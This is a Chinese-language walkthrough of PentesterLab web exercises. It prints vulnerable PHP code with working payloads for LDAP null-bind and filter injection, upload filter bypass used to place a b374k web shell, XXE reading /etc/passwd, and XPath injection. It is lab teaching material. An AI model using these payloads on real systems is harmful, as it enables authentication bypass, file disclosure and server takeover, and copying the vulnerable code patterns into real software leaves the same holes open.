Example 1
源码:
<?php
require "../header.php" ;
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
if (isset($_GET["username"])) {
$user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
}
$lb = @ldap_bind($ld, $user,$_GET["password"]);
if ($lb) {
echo "AUTHENTICATED";
}
else {
echo "NOT AUTHENTICATED";
}
}
require "../footer.php" ;
?>
解释:
使用用户名和密码连接到 LDAP 服务器。在这里 LDAP 服务器身份验证不会成功,因为 username=&password=
凭据无效。但是,一些 LDAP 服务器授权空绑定:如果发送空值,LDAP 服务器将继续绑定连接,要使用空值获取绑定,需要从查询中完全删除此参数
payload:
http://10.10.202.152/ldap/example1.php
AUTHENTICATED
Example 2
源码:
<?php
require "../header.php" ;
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
$lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
if ($lb) {
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET[‘password‘])));
$filter = "(&(cn=".$_GET[‘name‘].")(userPassword=".$pass."))";
if (!($search=@ldap_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
echo("Unable to search ldap server<br>");
echo("msg:‘".ldap_error($ld)."‘</br>");
} else {
$number_returned = ldap_count_entries($ld,$search);
$info = ldap_get_entries($ld, $search);
if ($info["count"] < 1) {
//NOK
echo "UNAUTHENTICATED";
}
else {
echo "AUTHENTICATED as";
echo(" ".htmlentities($info[0][‘uid‘][0]));
}
}
}
}
require "../footer.php" ;
?>
解释:
LDAP 查询的基本语法:
# 查询name为zhangsan的所有对象 这里括号强调LDAP语句的开始和结束
(name=zhangsan)
# 查询name为zhangsan并且passwd为123456的对象
# 每个条件都在自己的括号里面,整个语句也要括号包裹起来。&表示逻辑与。
(&(name=zhangsan)(passwd=123456))
# 查询名字是z开头的所有对象 通配符*可以表示任何值
(name=z*)
LDAP 注入攻击和 SQL 注入攻击相似,因此接下来的想法是利用用户引入的参数生成 LDAP 查询,默认的查询链接如下:
Payload
/ldap/example2.php?name=hacker&password=hacker
下面是简单的测试:
# 认证成功 默认正常情况
name=hacker&password=hacker
# 认证成功 通配符 可以表示 hacker
name=ha*&password=hacker
# 认证失败 因为 password 被 md5 家了
name=hacker&password=ha*
现在重点关注查询的代码:
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET[‘password‘])));
$filter = "(&(cn=".$_GET[‘name‘].")(userPassword=".$pass."))";
当 name 输入内容如下的话:
hacker)(cn=*))%00
带入到 $ filter 语句中就是如下效果:
$filter = "(&(cn=hacker)(cn=*))%00)(userPassword=".$pass."))";
)用来闭合前面的括号,(cn=*)是一个永真的条件,%00注释掉后面的语句。
payload:
name=hacker))%00&password=123
name=admin))%00&password=123
name=hacker)(cn=*))%00&password=123
File Upload
Example 1
源码:
<?php require_once(‘../header.php‘); ?>
<?php
if(isset($_FILES[‘image‘]))
{
$dir = ‘/var/www/upload/images/‘;
$file = basename($_FILES[‘image‘][‘name‘]);
if(move_uploaded_file($_FILES[‘image‘][‘tmp_name‘], $dir. $file))
{
echo "Upload done";
echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
}
else
{
echo ‘Upload failed‘;
}
}
?>
<form method="POST" action="example1.php" enctype="multipart/form-data">
Mon image : <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">
</form>
<?php require_once(‘../footer.php‘); ?>
解释:文件上传无任何过滤,直接上传PHP代码即可
payload:
http://10.10.202.152/upload/images/b374k-2.7.php
Example 2
源码:
<?php require_once("../header.php"); ?>
<?php
if(isset($_FILES[‘image‘]))
{
$dir = ‘/var/www/upload/images/‘;
$file = basename($_FILES[‘image‘][‘name‘]);
if (preg_match(‘/\.php$/‘,$file)) {
DIE("NO PHP");
}
if(move_uploaded_file($_FILES[‘image‘][‘tmp_name‘], $dir . $file))
{
echo ‘Upload done !‘;
echo ‘Your file can be found <a href="/upload/images/‘.htmlentities($file).‘">here</a>‘;
}
else
{
echo ‘Upload failed‘;
}
}
?>
<form method="POST" action="example2.php" enctype="multipart/form-data">
Image: <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">
</form>
<?php require_once("../footer.php"); ?>
解释:不允许上传PHP后缀的文件,但是可以上传php3 php4 php5 php.xxx pht等后缀,或者大小写也可以。
payload:
http://10.10.202.152/upload/images/b374k.pht
XML attacks
Example 1
源码:
<?php require_once("../header.php"); ?>
Hello
<?php
$xml=simplexml_load_string($_GET[‘xml‘]);
print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>
解释:
XML 允许用户在 XML 文档内自定义实体,以此来扩展其标准实体集。这些自定义实体可以直接写在可选的 DOCTYPE 中,而它们代表的扩展值则可引用一个外部资源。正是 XML 的这种支持自定义引用、可引用外部资源内容的可扩展性,导致系统易受 XXE 的攻击。
ENTITY 的定义语法:
<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
定义好的 ENTITY 在文档中通过 &实体名;来使用,这里举一个例子:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name "Tom" >
]>
<root>
<name>&name;</name>
</root>
定义一个 name 值为 Tom,就可以在 XML 任何地方引用。
如果加上SYSTEM,但是如果此处没有任何过滤,我们完全可以引用系统敏感文件的,前提是页面有回显,否则你只引用了文件但不知道文件内容。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<name>&name;</name>
关键代码:
Hello
<?php
$xml=simplexml_load_string($_GET[‘xml‘]);
print_r((string)$xml);
?>
simplexml_load_string
函数把 XML 字符串载入对象中,如果失败,则返回 false。
参数 | 说明 |
---|---|
string | 必需,规定要使用的 XML 字符串 |
class | 可选,规定新对象的 class |
options | 可选,规定附加的 Libxml 参数 |
ns | 可选,命名空间前缀或URI |
is_prefix |
TRUE 如果ns 是前缀,FALSE 则为URI;默认为FALSE 。 |
<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name>
URL encode
%3C%21DOCTYPE%20xxx%5B%3C%21ENTITY%20name%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2fname%3E
payload:
http://10.10.202.152/xml/example1.php?xml=%3C%21DOCTYPE%20xxx%5B%3C%21ENTITY%20name%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2fname%3E
Example 2
源码:
<?php require_once("../header.php");
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user>
<user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";
$xml=simplexml_load_string($x);
$xpath = "users/user/name[.=‘".$_GET[‘name‘]."‘]/parent::*/message";
$res = ($xml->xpath($xpath));
while(list( ,$node) = each($res)) {
echo $node;
}
?>
<?php require_once("../footer.php"); ?>
解释:
XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历.
XPath 基本语法:
bookstore # 选取 bookstore 元素的所有子节点。
/bookstore # 选取根元素 bookstore。
bookstore/book # 选取属于 bookstore 的子元素的所有 book 元素。
//book # 选取所有 book子元素,而不管它们在文档中的位置。
bookstore//book # 选择属于 bookstore 元素的后代的所有 book 元素
//@lang # 选取名为 lang 的所有属性。
代码中的数据:
<data>
<users>
<user>
<name>hacker</name>
<message>Hello hacker</message>
<password>pentesterlab</password>
</user>
<user>
<name>admin</name>
<message>Hello admin</message>
<password>s3cr3tP4ssw0rd</password>
</user>
</users>
</data>
和之前的 LDAP 注入差不多,闭合原来的语句,%00 截断注释掉后面语句,构造一个永真条件实现 XML 注入
‘ or 1=1]%00
users/user/name[.=‘‘ or 1=1]%00‘]/parent::*/message
/xml/example2.php?name=‘ or 1=1]%00
payload:
name=‘ or 1=1]/parent::*/child::node()%00
OVER!
参考:
https://pentesterlab.com/exercises/web_for_pentester/course